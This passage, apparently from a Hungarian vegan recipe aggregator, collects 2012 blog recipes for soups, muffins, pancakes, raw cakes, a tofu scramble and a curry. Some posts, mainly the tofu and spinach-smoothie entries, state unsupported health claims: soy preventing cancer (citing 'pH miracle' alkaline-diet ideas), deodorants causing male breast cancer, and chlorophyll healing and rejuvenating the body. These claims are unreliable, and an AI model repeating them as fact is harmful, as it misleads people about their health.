(A recepthez használt bögre 250 ml-es.)
Egy kis tálkában keverjük össze az őrölt lenmagot a vízzel és hagyjuk állni 8-10 percig, amíg zselés állagú lesz - ezzel helyettesítjük a tojást. A lenmag egyébként a legtöbb esszenciális olajat tartalmazza, amire a szervezetnek szüksége lehet, tehát még jót is teszünk magunkkal.
Közben egy tálban keverjük össze a száraz hozzávalókat: zabpehely, tönkölyliszt, hajdina liszt, só, fahéj, sütőpor. Egy másik tálban keverjük el a sütőtök pürét a kókuszolajjal, almaecettel, nádcukorral és a vaníliával. Öntsük hozzá a lenmagos tojást és a nedves anyagokat keverjük a szárazhoz a dióval és a csokoládéval együtt.
Melegítsük elő a sütőt 180 fokra. Sütőpapírral bélelt tepsire tegyünk a masszából evőkanálnyi adagokat (fagyis kanállal a legkönnyebb adagolni, ekkor lapítsuk le a tetejüket). Kb. 15-20 percig süssük, amíg aranybarnák lesznek. Széleken ropogós, azonban belül - a sütőtöktől - puha kekszeket kapunk. Fincsi!
Mártogathatjuk a kekszet vegán fűszeres kakaóba...
Káposztaleves hajdina-gombóckákkal
A mai leves meleg is, főtt is, és nyers is Ja, és nagyon finoooooooom Hozzávalók: Pici fej édeskáposzta 1 marék savanyú káposzta 1 közepes fej vöröshagyma 2 cikk fokhagyma 1 kk köménymag 1 kk tárkony 3 babérlevél 2,5 l tiszta víz 1 tk tiszta só 1 diónyi kókuszzsír 2 ek kölesliszt 2 tk pirospaprika 2 [...]
Lencseleves tönkölycsipetkével
Igazi őszi idő van, borús, ködös, ilyenkor nagyon jól esik egy tálka meleg leves ? Hozzávalók 4 személyre: 1 csésze lencse 2 babérlevél 2 sárgarépa 1 fehérrépa 1 csokornyi petrezselyemzöld 2 cikk fokhagyma 1 ek tönköly teljes liszt 1 diónyi kókuszzsír 1 tk őrölt pirospaprika 2 l tiszta víz (nekem kúti) 1 bélyegnyi nagyságú kombu [...]
Kölesmajonézes vöröslencse pástétom
2012. november 15. Mindennapi ételeink
A tegnapi fasírthoz direkt több vöröslencsét főztem ki, hogy ma hajnalban tudjak belőle pástétomot is készíteni. Nagyon szeretjük hagymás alapra rárakva a turmixolt, fokhagymás főtt vöröslencsét is, amibe a végén kókuszolajat keverek, de most készítettem kölesmajonézes krumplisalátát, és abból megmaradt köles, így ezt is beledolgoztam. Hozzávalók: 5 dkg főtt köles 1 tk. őrölt mustármag 1 ek. citromlé 2 tk.só 1 tk. 100% extra szűz olívaolaj 1 ek. sörélesztőpehely kb. 1 dl víz -- 25 dkg vöröslencse 1fej lilahagyma/vöröshagyma 3 gerezd fokhagyma 2 ek.pritaminpaprika lekvár 1 kisebb csokor petrezselyem Elkészítés: A kölesmajonézt így készítjük el: a főtt kölest összeturmixoljuk a mustármaggal, citromlével, vízzel sörélesztőpehellyel. Sóval ízesítjük. Eközben a vöröslencsét sós vízben megfőzzük. Majd hozzáturmixoljuk a kölesmajonézhez, és ízesítjük petrezselyemzölddel, pritaminlekvárral, átnyomot6 tfokhagymával. Kb. 2 perc alatt összefőzzük.
Sáfrányos sütőtök leves
Valami fini meleget kívántam tegnap, és ugye itt van a gyönyörű tök termés Amelyik nem elég édes nyersen, levesként végzi Hozzávalók 4 személyre: 1 kisebb Hokkaido tök 1 fej vöröshagyma 1 csipet sáfrány 1 kk kurkuma 1 szem krumpli 1 diónyi kókuszzsír 1 csipet tiszta só A hagymát kockára vágjuk, majd megpirítjuk a zsíron. Megpucoljuk, [...]
Vendégváró falatok: krumplis pogácsa céklával
2012. november 4. Mindennapi ételeink
Nagyon-nagyon csúszik, mert finom :-) Hozzávalók - 16 db-hoz: 4 közepes krumpli 1 ek. kókuszolaj 2 ek. lenmagpehely 2 ek. víz 2 ek. teljes kiőrlésű liszt 4 ek. finomliszt 2 tk. só Elkészítés: A krumplit meghámozzuk, és felkockázva megfőzzük. Leöntjük a levét. Amikor kihűlt, összetörjük és hozzákeverjük a liszteket, sót, és az előzőleg beáztatott lenmagpelyhet. Alaposan összedolgozzuk, majd lisztezett deszkán kinyújtjuk (kb. 0,5 cm vastagságúra), és közepes pogácsaszaggatóval kiszaggatjuk. Szükség esetén még lisztet adunk hozzá. Egy tepsit kiolajozunk, ebbe beletesszük a pogácsákat, majd 15 percig az egyik felüket, 15 percig megforgatva a másik felüket is barnára sütjük. Mi most céklával és fokhagymás kesudiótejföllel ettük, de finom paradicsommal, paprikakrémmel, dinsztelt káposztával, uborkával, paprikával, lilahagymával...vagy csak úgy, leves mellé.
Almás-fahéjas muffin
teljes kiőrlésű lisztből, csokicseppekkel Ez is egy saját recept. Pár hónapja elkezdtem kísérletezgetni különböző muffin receptekkel, de egyik sem volt az igazi, tojás nélkül hamar kiszáradtak, így folyamatosan próbálkoztam. Mivel Olivér nem édesszájú, a gyerekek a minőségellenőrök :) Csak amin összevesznek, az mehet a receptes füzetbe végleges kedvencként. Ez a muffin benne van a füzetben... :) Hozzávalók: 14 dkg teljes kiőrlésű liszt 6 dkg sima búzaliszt 8 dkg cukor (én gyümölcscukrot használok vagy xilitet) 2 kk sütőpor 2 kk őrölt fahéj 6 ek kókuszolaj (vagy más olaj) 3 db kisebb alma felkockázva (vagy 2 nagy) 2 dl növényi tej (nálam szója vagy zab) 3 ek étcsokicsepp (nem púpozott!) A hozzávalókat a megadott sorrendben összekeverjük, majd szilikon muffin sütő formában180 fokra előmelegített sütőben kb. 20 percig sütjük. (Én légkeverésesen sütöm, 160 fokon) 12 darab lesz belőle.
Almás- mákos nyers torta, Raw apple and poppy seed cake:
2012. október 27. Nyers konyha
Sziasztok!:) Tudom régen jelentkeztem, mert ahogy sokaknál nálam is rengeteg a változás, zajlik az élet, de rendesen, és beigazolódni látszik, hogy a változás mindig jót, jobbat hoz magával. Van, hogy elsőre kicsit rosszabb lesz és ijesztőnek tűnnek a dolgok, a helyzet, de tény, hogy utána érkezik a jobb... Elhagyva röghöz kötöttségemet, eladtuk házunkat, most albérletben vagyunk és ha minden igaz, decemberben költözünk, elhagyjuk a várost, Pápát és szerencsétpróbálunk Felsőörsön. Egy vágyam teljesül, lesz hatalmas haszonkertünk, ill. ez már teljesült is, hiszen nyáron már kertészkedtünk. Óriási volt a cukkini és a paradicsom termés, hatalmasra nőttek a csicsókák, a madarak most örülnek igazán az elültetett napraforgóknak. Szóval a cél, hogy amit lehet megtermeljünk úgy néz ki valósággá válik, lesz sok-sok finom gyógyító bio finomság:) Bújom a különböző kertészkedős könyveket és igyekszem elsajátítani azt is, mi szükséges ahhoz, hogy egészségesek legyenek növényeink. A lényeg mondhatni ugyanaz ,mint az embernél. Ha megkap mindent amire szüksége van, tápanyag, fény, víz...akkor olyan erős és egészséges lesz, hogy nincs az a betegség ami árthatna neki... Ültettünk gyümölcsfákat is alig bírom kivárni azt a 20-30 évet amíg végre megmászhatom őket:D A kertészkedés izgalmas! Az ember elültet egy homokszemnyi magot, és jön a csoda, hatalmas életerős növénnyé fejlődik. Imádom naponta végigkövetni ezt a folyamatot az apró változásokat, és a végén hálásan elfogyasztani a végeredményt, még melegen akár mosatlanul ott a kertben frissen leszedve, ez az igazi. Ilyenkor sokszor a dédim jut eszembe, aki ment reggelizni a kertbe egy szelet kenyérrel, és a fa alatt állva csipegette a fáról a meggyet a kenyérhez. 92 évet élt. Remélem az ő génjeit örököltem :D A lényeg, ha minden igaz visszatértem:) Ma annyira rám jött az alkothatnék. Körbenéztem mi van itthon és összedobtam egy tortácskát, kicsike csatos formába. Látszik, hogy régen csináltam és, hogy mennyire lelkesen, örömmel, mert valami isteni lett, isteni finom:) Kicsit mondom kicsit hasonlít az ország tortájára. Mákos piskóta almás rétegekkel, tetején fahéjas krémmel. Na de elég a fecsegésből jöjjön a recept! Almás- mákos nyers torta: /Raw apple and poppy seed cake/ Tészta: 80 gramm kókuszdara 70 gramm mák 70 gramm arany lenmag kávéskanál vanília kávéskanál fahéj 2 citrom reszelt héja 12 darab datolya kb. 10 evőkanál víz csipet só 2 evőkanál méz vagy agávé szirup A kókuszt, mákot, lenmagot megőröljük kávédarálóban. A datolyákat a vízbe beáztatjuk, majd konyhai robotgépbe öntjük és eldolgozzuk a mézzel. Hozzáöntjük a többi hozzávalót is és jól összedolgozzuk. A cél, hogy ha belenyúlunk és összenyomjuk ujjainkkal akkor összeragadjon a massza. Ha nem ragad mehet még kicsi víz. A tésztát ketté vesszük és felét a tortaforma aljába nyomkodjuk. Erre jön egy réteg alma. Almás töltelék: 6 közepesen kicsi almát lereszeltem, fahéjjal ízesítettem és 2 evőkanál útifűmaghéjat kevertem hozzá. A fele alma mehet a piskótára, jól eloszlatjuk és megtömörítjük kanállal meg kézzel. Erre rászórjuk a maradék mákos őrleményt eloszlatjuk és ha mindenhova jutott rányomkodjuk megtömörítjük. Erre megint alma jön. Fahéj krém: 12 datolya 2-3 evőkanál kókuszzsír 1 banán 2 mokkáskanál fahéj 3 evőkanál víz Turmixgépben krémesre dolgozzuk, majd a torta tetején elkenjük. Kicsit hűtőbe tesszük és ha megdermedt a teteje szépen lehet vágni.
Sajttal töltött zöldséges muffin
2012. október 25. Fittanyuka Blog
Mindig fejtörést okoz az óvodai tízórai, uzsonna. Mert egy idő után unalmas a szendvics, a kencés kenyér. Ezzel a kis muffinokkal a kedvébe járhatunk a kicsiknek is, elfér a kezükben, könnyen kicsomagolható és a közepében van valami:) Akár mi is magunkkal vihetjük egy rohanó hétköznap a munkába. Az sem mellékes, hogy gyorsan elkészíthető és egészséges, lassan felszívódó szénhidrátokat tartalmaz, több napon keresztül fogyasztható. Hozzávalók ( 12 db): 250 g teljesőrlésű tönköly liszt 150 g köles liszt 100 g mandula liszt 300 ml víz 1 tasak foszfátmentes sütőpor 6 evőkanál kókusz olaj ( felmelegítve) 2 szál répa 1 szál petrezselyem zöldje 1 kk himalaya só 1 kk kurkuma 1 kk őrölt kömény 150 g növényi sajt ( nem hidrogenizált. Pl:szojaprodukt terméke) A liszteket összekeverjük a fűszerekkel a sütőporral , hozzáreszeljük sajt reszelőn a megtisztított répákat, a felaprított petrezselyem zöldjét és felöntjük a vízzel. Hozzáadjuk az olajat és robotgép segítségével homogén masszává dolgozzuk. Muffinsütőformákat kibéleljük a muffin papírkosárkákkal, vagy használhatunk szilikon formákat is és kanál segítségével megtöltjük az üregeket. A sajtból egy cm-es vastag csíkokat szelünk és a muffinok közepébe helyezzük. Előmelegített sütőben 180 C fokon 25-30 perc alatt készre sütjük. Fittanyuka
Káposztás dödölle
Ma 1/2 5-kor sikerült ebédelnem, de megérte!!! Ez a dödölle isteniiiiiiiii Hozzávalók 4 személyre: 1 csésze hajdina 2 1/2 csésze tiszta víz 1 kk tiszta só 1 diónyi kókuszzsír 4 szem krumpli 1/2 maréknyi friss majoránna 1 fej káposzta 1 tk tiszta só 1 ek kókuszzsír 1 teáskanálnyi őrölt bors Tálaláshoz: Néhány szem koktélparadicsom 1 [...]
Tejszínes gombás szójaszelet (vegán)
Ritkán főzök szóját, pedig mindig van a tarsolyomban szójás recept. De valahogy számomra a szójaszeletek, granulátum és kocka kicsit mű ételnek tűnik. Pedig az is növényből van. Konkrétan szójababból. Azonban néha elfog a vágy, hogy szóját ennénk, legutóbb is így történt. Igazság szerint volt otthon gomba és gondoltam, készítek belőle tejszínes gombás szójaszeletet. Nem bántam meg. Egész finom lett. A recept: Hozzávalók: - 1 vagy 2 zacskó szójaszelet (attól függ, mennyit kell főznünk, én nem csak egyszeri étkezésre készítettem) - víz - ételízesítő vagy só - gomba - növényi tejszín - fokhagyma - őrölt szerecsendió - lila hagyma - újhagyma - vöröshagyma - kókuszzsír Elkészítés: A szójaszeleteket sós vagy ételízesítős forró vízbe áztatjuk fél órát minimum, de akár többet is. Nálam egy éjszakát ázott a hűtőben lefedve, de csak azért, mert így jött ki a lépés. Nem szükséges ilyen hosszú ideig! Tény, hogy minél tovább áztatjuk, annál jobban átveszi a fűszerek ízét és nem lesz "papír"íze a szójának. Akik nem idegenkednek a használatuktól, azok akár fűszerkeverékes vízben is áztathatják. A megpuhult szeletekből a vizet kicsavarjuk, majd kókuszzsírral kikent tepsibe téve az egyik oldalukat világosbarnára sütjük. Közben elkészítjük a gombás szószt. Felaprított hagymát kevés vízen megpárolunk, majd a megtisztított, felvágott gombát rátesszük, sózzuk (vagy ételízesítővel megszórjuk) valamint a lila és újhagymákat aprítva hozzátesszük és megpároljuk. Levet fog engedni. Amikor már nagyjából puhultak a gombaszeletek, egy kevés tejszínt öntünk hozzá. Szerecsendió csipetnyi őrleményével fűszerezzük és addig főzzük, míg a tejszín felforr. Ha a szójaszeletek egyik oldala szépen megbarnult, megfordítjuk őket és a gombás szószt a tetejükre halmozzuk. Sütőben átsütjük még úgy 20 percig, majd melegen tálaljuk. Egyik kedvencünket, kukoricás rizst készítettem hozzá köretnek.
Vegán fűszeres répás palacsinta meleg fahéjas mézzel
2012. október 18. Zizi kalandjai
Habos mandulatej
Az élet néha keresztül húzza a számításainkat és nem úgy alakulnak a dolgaink, ahogyan azt elterveztük. Az évszakok megváltoznak, ahogyan a helyszínek is. Emberek megjelennek az életünkben, aztán néhányan elmennek. De megnyugtató tudni, hogy akiket igazán szeretünk, azok örökre a szívünkben maradnak.
Szerettem volna sütni csokis sütőtökös vegán palacsintát magamnak a szülinapomra, meg vegán banános csokitortát is. Aztán úgy hozta az élet, hogy nem volt erre lehetőségem és időm se, így majd néhány héten belül, ha lesz egy szabad hétvégém, nekiállok alkotni.
De a finom recept nem marad el. Sütőtökös palacsinta helyett répásat hoztam. Ráadásul cukormenteset és vegánt. A répa enyhén megédesíti. Azért a bűnözés megvolt, ugyanis meleg fahéjas mézzel öntöttem nyakon. Az utóbbi időben, ha ilyen vastag palacsintákat sütök, mindig kihagyom a receptből a tojást és a tejterméket. Kiváló egy palacsinta, ha vegán, akkor is. Puha, dundi, falnivaló. Kényeztető vasárnapi reggeli hűvös őszi reggeleken.
Vegán fűszeres répás palacsinta meleg fahéjas mézzel
Hozzávalók 8-10 db-hoz:
- 1 bögre hajdinaliszt
- 1/4 bögre teljeskiörlésű tönkölyliszt
- 1/4 bögre őrölt mandula
- 1 és 1/2 evőkanál foszfátmentes sütőpor
- 1/4 teáskanál őrölt gyömbér
- 1/4 teáskanál őrölt szerecsendió
- 1/8 teáskanál őrölt kardamom
- 1 és 1/2 bögre mandulatej (zabtej, rizstej is használható)
- 1 bögre reszelt répa
- 2 evőkanál kókuszolaj vagy napraforgó olaj + egy kevés a sütéshez
- 1/3 bögre méz
- 1 teáskanál fahéj
Egy tálban keverjük össze a száraz hozzávalókat: lisztek, mandula, sütőpor, gyömbér, szerecsendió és kardamom. Egy másikban pedig a nedves hozzávalókat: mandulatej, kókuszolaj és reszelt répa. Öntsük a nedves hozzávalókat a szárazhoz és keverjük addig, amíg sima, sűrű tésztát kapunk (ha túl sűrűnek találjuk, hígítsuk egy kevés mandulatejjel). Hagyjuk 5 percet állni, hogy a tészta megkeljen.
Tegyünk egy kevés kókuszzsírt a teflonserpenyőbe és forrósítsuk fel. Kisebb adagot kanalazunk (2 adag is mehet egyszerre) a palacsinta tésztából a serpenyőbe, közepes lángon sütjük az egyik oldalukat, amíg aranybarnák lesznek. Megfordítjuk és a másik oldalukon is sütjük 1-2 percig.
Közben egy kis lábasban melegítsük fel a mézet, adjuk hozzá a fahéjat és jól keverjük el. Locsoljuk meg a fahéjas meleg mézzel a palacsintákat és tálaljuk azonnal.
Koriander-kókusz csatni
Az egyik legfinomabb csatni, amit valaha ettem. Koriander rajongóknak kötelező, változtatás nélkül. Hozzávalók: 2 dl frissen reszelt kókusz 4 dl összevágott korianderlevél 1 ek olaj 1 kk feketemustár 1 kk urad dhal (fekete lencse, indiai fűszerestől) 1/2 ek reszelt friss gyömbér 1 indiai zöld chili... tovább>>
Mákos-kókuszos-zabos szelet
Tógyer Magdika mákos muffinja adta az ötletet. Minden másnap készítek zabtejet és máktejet, az ebből visszamaradt szárazanyagot van, amikor kidobom, de van, amikor nem. Két készítésből megmaradt anyagnak szerettem volna valami ehető formát adni, és ez jutott eszembe. Elkészítés: Szóval: a zabtejből és máktejből megmaradt törmeléket egy tálba tettem, daráltam hozzá lenmagot (sárgát és barnát [...]
Tojásmentes Rántotta
2012. október 10. Fittanyuka Blog
Mielőtt megosztanám veletek ezt a receptet, olvassatok el pár gondolatot a tojásról, illetve a tojás fogyasztásról: tovább olvasom.. Senkit sem szeretnék meggyőzni, hogy miért jó ha valaki tojásmentesen táplálkozik, de ezek az érvek amelyek ellene szólnak számomra elég meggyőzőek, az élővércsepp analízisről nemis beszélve. A recept összetevője a tofu, amely, mint tudjuk szója sajt és a szóját manapság sokan kerülik, ellenzik a fogyasztását, amivel nem értek egyet. Mert általában ez a tábor a hús,-tej,-tojásról megvan győződve, hogy természetes táplálék. Viszont azt aláírom, hogy kerülnünk kell a génmanipulált, túlságosan feldolgozott élelmiszereket, de szerencsére kis hazánkban még nem jellemző a génmanipulált szója. A termék eredetét mindig el kell olvasni! Javaslom, hogy bioterméket válasszatok, megtaláljátok a csomagoláson, hogy biztonságos GMO mentes termék. Néhány érv a tofu mellett: Szerintem ez a szója legtermészetesebb felhasználási módja amely a legősibb múltra tekint vissza. Élettani hatásai: - Kiváló növényi fehérje forrás és számos tápanyag található benne, és az biztos, hogy sokkal jobb, mint bármelyik állati eredetű vagy tejből készült étel. - Az izoflavonoidok - a fitoösztrogének ( növényi, természetes ösztrogének) egyik fajtája - megelőzik a hormonfüggő daganatok, mellrák kialakulását. ( Már a férfiaknál is, hála a dezodoroknak). - A daidzen, egy bizonyos izoflavonoid, gátolja a rákos daganatok növekedését. - A genistein egy enzim, amely gátolja a daganatok növekedését és elősegíti a sejtek differenciálódását. A vizsgálatok szerint gátolja a prosztatában, illetve az emlőben kialakult daganatos sejtek növekedését. - fitinsav kelátot képez a daganatkeltő hatású mycotoxinokkal, így megköti és eltávolítja őket a szervezetből. - proteáz gátlók blokkolják a daganatok növekedését segítő enzimek hatását, mint például a vastagbél,-emlő,-májrák ellen hatnak. - Szója védi a szívet, és elősegíti a hormonháztartás egyensúlyának fenntartását férfiaknál is. forrás: Dr. Robert Young: Ph csoda Ami ajánlott a szójatermékekből választani: Szója csíra, Szója lecitin, tofu. Kerüljük és ritkán fogyasszuk a feldolgozott szójatermékeket: virsli, felvágottak, granulátumok, erjesztett szójatermékek: miszó, tempeh, szójaszósz. Következzen a recept: Hozzávalók ( 2 fő részére): 300 g natúr tofu 200 ml növényi tejszín késhegynyi himalaya só örőlt rózsa bors 1 db közepes vöröshagyma késhegynyi kurkuma kókusz olaj a sütéshez friss petrezselyem zöldje A tofut sajtreszelőn lereszeljük, vagy kézzel elmorzsoljuk majd fűszerezzük: sózzuk, belekeverjük a kurkumát és összedolgozzuk a növényi tejszínnel. Villa segítségével kissé összetörjük. A kókuszolajon a felaprított vöröshagymát üvegesre pároljuk, majd hozzáadjuk a tofus keveréket és addig sütjük ameddig kicsit összeáll. Tálaláskor megszórjuk a petrezselyem zölddel. Fittanyuka
Aszaljunk együtt! Workshop február 9-én 10 órától!
2012. október 8. Nyersétel akadémia
Kíváncsi vagy, hogyan készülnek a legfinomabb sós kekszek? A gyümölcslap? És a többi nyers finomság? Ezeket TE magad is elkészítheted otthon, akár sütőben is! A masszát együtt keverjük ki, és mindenki kap kötényt, műanyag lapátkát, és együtt kenjük a masszát az aszalógép tálcáira! Alapanyagok kimérése, előfeldolgozás, massza összekeverése, ízesítése, aszalótálcára kimérés, kikenés, aszalógépbe berakás, edények elmosogatása, takarítás! Ezeket mind közösen fogjuk csinálni, hogy lásd, mi vár rád otthon, ha nekifogsz! Jöhetsz csak arra az időpontra, amelyik aszalvány érdekel! Előadás és kóstoló most nincs, megpróbálunk “csak” dolgozni! Mindenképpen jelentkezz be nálam, és ha jössz, hozz magaddal kötényt vagy kényelmes munkaruhát! Részletes program: 10 óra: Egy kicsi elmélet és Káposztás-tökmagos kenyérke 2000 Ft/fő 12 óra: Gyümölcslap (almás, epres) 2000 Ft/fő 13 óra: Sütőtökös kakaós csemege 2000 Ft/fő 14 óra: Lenkenyér 1000 Ft/fő 15 óra: Mazsolás kókuszos granola 2000 Ft/fő Ha érdekel, jelentkezz nálam: gitta@nyersetelakademia.hu
Vegán mézes-lekváros linzer
2012. október 8. Mindennapi ételeink
Nagyon-nagyon finom, Kittitől származik az alaptészta recept, amin kicsit változtattam + más süti kerekedett ki belőle. :-) Hozzávalók: 25 dkg liszt 10 dkg méz 4 dkg kókuszolaj 10 dkg nyírfacukor 8 dkg zabpehelyliszt 1/2 tk. szódabikarbóna 1 citrom héja 1 marék darált mandula kb. 1 dl víz Elkészítés: Az alapanyagokat alaposan összedolgozzuk, kb. 15 percig állni hagyjuk. Majd lisztezett deszkán jó vékonyra kinyújtjuk, kiszaggatjuk és 150 fokon 20 perc alatt kisütjük (egyszer megforgatva). Lekvárral megkenjük, összetapasztjuk és másnaptól megesszük. :-) Nyírfacukorból készült porcukorral hintjük meg. Csúnya, de finom :-)
Tejszínes Tönköly ragu - Barna rizzsel
2012. október 6. Fittanyuka Blog
Ez az a recept amelyet bevethettek a rohanó hétköznapokban, vagy akár egy vasárnapi ebédként. Semmivel nem kerül több időbe az elkészítése, mint egy hagyományos, savasító - húsos ételnek. Az étel főszereplői a : tönköly fehérje és a barnarizs. Mindkettő a szuper egészséges ételek kategóriájába tartozik. A tönköly fehérjéről itt olvashattok részletesen, mivel írtam már róla korábban. És manapság a konyhám egyik kedvelt alapanyaga lett. Tipp: A barnarizs pedig tudjuk, hogy mennyi rostban és ásványianyagban bővelkedik. Továbbá a barnarizs jótékony hatást gyakorol az egész emésztőrendszerre, mivel megnyugtatja és tisztítja. A kínai orvoslás a barnarizst tartja a legkiegyensúlyozottabb gabonafélének, édes íze, semleges energiája tápláló, gyomorerősítő, nyálkahártya bevonó, gyulladáscsökkentő, allergiaellenes hatása miatt. A főtt, sótlan rizs rendszeresen fogyasztva csökkenti a magas vérnyomást, szabályozza a vércukorszintet. A lúgosító étrend egyik fő összetevője. Mindenkinek ajánlom, de leginkább azoknak akik bármiféle gyomor,- bél problémákkal küszködnek, hogy gyakran szerepeljen az étrendjükben. Hozzávalók a raguhoz ( 3-4 főre) 250 g natúr tönköly fehérje ( nem egyenlő a szejtánnal!) 1 db kisebb cukkini 1 fej vöröshagyma 1 cikk fokhagyma 3 evőkanál kókusz olaj 1 kk kakukkfű 1 evőkanál lenmagpehely 1 kk himalaya só 250 ml kókusz tejszín 125 g barnarizs, vagy basmati barnarizs Háromszoros mennyiségű víz, kevés himalaya só friss, petrezselyem zöld 1 evőkanálnyi hidegen sajtolt olíva olaj A hagymát megtisztítjuk és apró kockákra vágjuk, a kókusz olajon üvegesre dinszteljük. A csíkokra vágott cukkinit és a szintén csíkokra vágott tönköyfehérjét hozzáadjuk, sózzuk, fűszerezzük a kakukkfűvel, kevés zöld borst is adhatunk hozzá, lefedve pár percig pároljuk. Hagyjuk, hogy a cukkini roppanós maradjon. A kókusz tejszínt elkeverjük a lenmagpehellyel és hozzáadjuk a raguhoz, addig keverjük csak ameddig kicsit besűrűsödik. Hozzáadjuk a préselt fokhagymát. A barnarizst átmossuk és a vízben puhára főzzük. ( gyors főzésű rizsnél ez 45 perc.) Ha megfőtt, hideg vízzel átöblítjük, mint a kifőtt tésztát, hogy ne legyen csirizes. Kevés hidegen sajtolt olíva olajat adunk hozzá és a felaprított petrezselyem zöldjét. Fittanyuka
Almás-mákos sütőtök
Amiben mák van, az csak finom lehet. Így van ez az alábbi kis nyers finomsággal is. A mákos tészta egészségesebb változata mákimádóknak. Gyermekek is biztosan imádni fogják. Almát és nyers sütőtököt lereszelünk nagy lyukú reszelőn, összekeverjük őket egy tányéron, és megszórjuk darált mákkal. A mákot lehet darálni xilittel vagy kókuszcukorral, de az is jó alternatíva, [...]
thai curry hokkaido tökből
2012. szeptember 27. Vegasztrománia
vegetáriánus is azért lettem, mert figyeltem a szervezetem jelzéseire, azóta is próbálok. sokszor ételeket kívánok meg, de egyre többször színeket. mostanában nagyon erőteljesen a narancssárgára kattantam, minden tekintetben. A lumen chili-kóstolójáról is 3 narancssárga chilivel és egy sárgával érkeztem haza, valamint a kosaramban landolt egy hokkaido tök is. ja, és ezek után kitaláljátok, h milyen színű a körmöm? bár az a legjobb, ha az étkezések alkalmával figyelünk a színek harmóniájára is, de nyilván nem véletlenül billen kívánalmunk az egyik irányba. jelentem, visszabillentettem. :)
nem titok, hogy a zöldségek között a sütőtök kiemelt helyen szerepel nálam, és sokféleképpen használom. most teljesen egyértelmű volt, hogy thai curryt készítek belőle, mert a narancssárga mellé kókusztejet és thai ízeket is kívántam. amúgy is elég nagy thaimán vagyok, ha időnként nem ehetek a parázsban egy jó thai levest, elvonási tüneteim vannak. ilyen előzményekkel született tegnap ez a curry.
thai curry hokkaido tökből
hozzávalók (3-4 adag)
1 hokkaido tök, vagy sütőtök (megpucolva 600 g) 1 hagyma felaprítva 1 fokhagyma apróra vágva 1 cm-es gyömbér lereszelve 1 ázsiai citromfű nagy darabokra vágva (ezt nem esszük meg) 1 chili (chilit mindig ízlés szerint) 1/3 csokor koriander felaprítva (a koriander is ízlés kérdése..) 1 lime 1 doboz kókuszkrém (400 ml) 200 ml víz (még jobb, ha zöldségalaplé, egyébként pedig nem kell, de én levesesre szerettem volna) 1 kk nádcukor só 1/2 ek green thai curry fűszerkeverék ( citromfű, koriander, római kömény, bazsalikom, lime levél, fokhagyma, bors, chili) szezámolaj (semlegesebb is jó, ha nem szeretjük)
a tököt megpucoltam és felvágtam. az olajon 4-5 percig pirítottam a hagymát, majd hozzáadtam a tököt, a chilit, átkevertem, majd a kókuszkrémet és a vizet. megfűszereztem (a gyömbért a közepén, a fokhagymát az utolsó harmadban, a koriandert és a lime levét a legvégén adtam hozzá), és 15-20 perc alatt alacsony lángon főztem, amíg a tök meg nem puhult (20 perc alatt már nagyon megpuhul, főleg, ha számolunk a gáz lekapcsolása utáni önmagában fövéssel is). jól illik hozzá a rizs, de mivel én direkt levesebbre csináltam, szerintem rizstésztával az igazi.
Klorofill Koktél - Spenót - Alma
2012. szeptember 22. Fittanyuka Blog
Egészségünk megőrzéséhez és a Ph egyensúlyunk helyreállításához ellengethetetlenek a klorofillok, vagyis a zöldek. A sötét, zöld színű levelek tartalmazzák és napfény hatására képződik. Az klorofill kémiai szerkezete szinte majdnem megegyezik az emberi vér hemoglobinjával. A hemoglobin az a pigment, amely a vér vörös színét adja. A különbség a klorofill és a vér között csupán annyi, hogy a klorofill magnéziumot, míg a vér vasat tartalmaz. Ha szervezetünket megfelelő mennyiségű zöld színű levélzöldséggel, vagy zöld színű itallal látjuk el, nem szenved hiányt semmiben. A zöld levelek nagy mennyiségű ásványi anyagot, vitamint, enzimet juttatnak szervezetünkbe, természetes formában. Kiváló, jól felszívódó növényi fehérjéket tartalmaznak. Az összes esszenciális aminosav is megtalálható bennük. A klorofill gyógyító, gyulladásgátló, fiatalító hatású, segíti a szervezetben a vörös vértestek képződését. Kiváló sejtépítő és sejtregeneráló hatása is ismert, ezért fiatalítja a testet, és a bőrt simává varázsolja. Immunrendszer erősítő hatása utolérhetetlen. Az alábbi koktélhoz friss spenótlevelet használtam. Az erős zöld ízt az alma és a kókusztejszín szelidíttte meg. Ételtársítási tipp: Fontos tudni amit már annyiszor hangsúlyoztam, hogy a zöldségeket nem keverjük a gyümölcsökkel. KIVÉTEL az ALMA, amely a gyümölcsök prototípusa. Viszont ilyenkor is célszerű erjedésgátló fűszert használni, amiből csipetnyi is elegendő. Nagyon kellemes ízű koktélt kaptunk. Nagyszerű reggelire a nap kezdéshez, vagy akár még a délutáni órákban is fogyaszthatjuk. Az alma miatt estére nem ajánlom. Az eszenciális olajok hozzáadást se hagyjuk ki, mert elengethetetlenek jó néhány vitamin felszívódásához. Az év azon szakaszába fogyasszuk amikor még hozzájutunk friss spenótlevélhez. A böjti időszakban is ihatjuk a bevezető,-felépítő szakaszokban. Hozzávalók: 250 g friss spenót levél 3 db alma 200 ml kókusz tejszín 2 evőkanálnyi hidegensajtolt lenmagolaj vagy szezámmagolaj csipetnyi fahéj 100-200 ml víz A hozzávalókat alaposan összeturmixoljuk. Fittanyuka
Kardamomos-karobos csigák
2012. szeptember 21. Mindennapi ételeink
Ma gabonakávé és szőlő kíséretében ezt reggeliztük. Tulajdonképp tegnap este sütöttem kenyeret ugyanebből a tésztából, ill. virslis rudakat és ilyen csigákat is (férjemnek elindult az egyetem, és tegnap + ma volt konzultációs napja, ilyenkor egész nap a suliban van, ezért készítek nem csak szendvicseket, hanem különböző péksüteményeket is neki. Hozzávalók: 30 dkg teljes kiőrlésű liszt 15 dkg finomliszt 2,5 dkg élesztő 2,5 dl víz 0,75 dl 100% extra szűz olívaolaj 1 csipet só 3-4 ek. nyírfacukor 1/2 citrom héja -- 6 ek. 100% extra szűz olívaolaj 2 ek. karob 1 tk. kardamom 1 marék összevágott jumbo mazsola 3 ek. nyírfacukor Elkészítés: Nagyon egyszerű az elkészítése. Az élesztőt felfuttatjuk. A tészta többi hozzávalóját összekeverjük és bedagasztjuk. Letakarva 1 órán át kelesztjük. Majd egy lisztezett deszkán kinyújtjuk (kb. 0,5 cm vastagságúra), és 5 cm széles sorokat vágunk. Minden sort megkenünk olajjal, majd megszórjuk (jó alaposan) az előre összekevert karob-kardamom-nyírfacukor-mazsola keverékével. Feltekerjük, olajozott, lisztezett tepsibe tesszük és sütőbe rakva 10 percig 50 fokon kelesztjük, majd 25-30 perc alatt 150 fokon kisütjük. Mindez variálható, vaníliapudingos, kókuszos vagy akár pizzás töltelékkel is.
Grillezett cukkíni
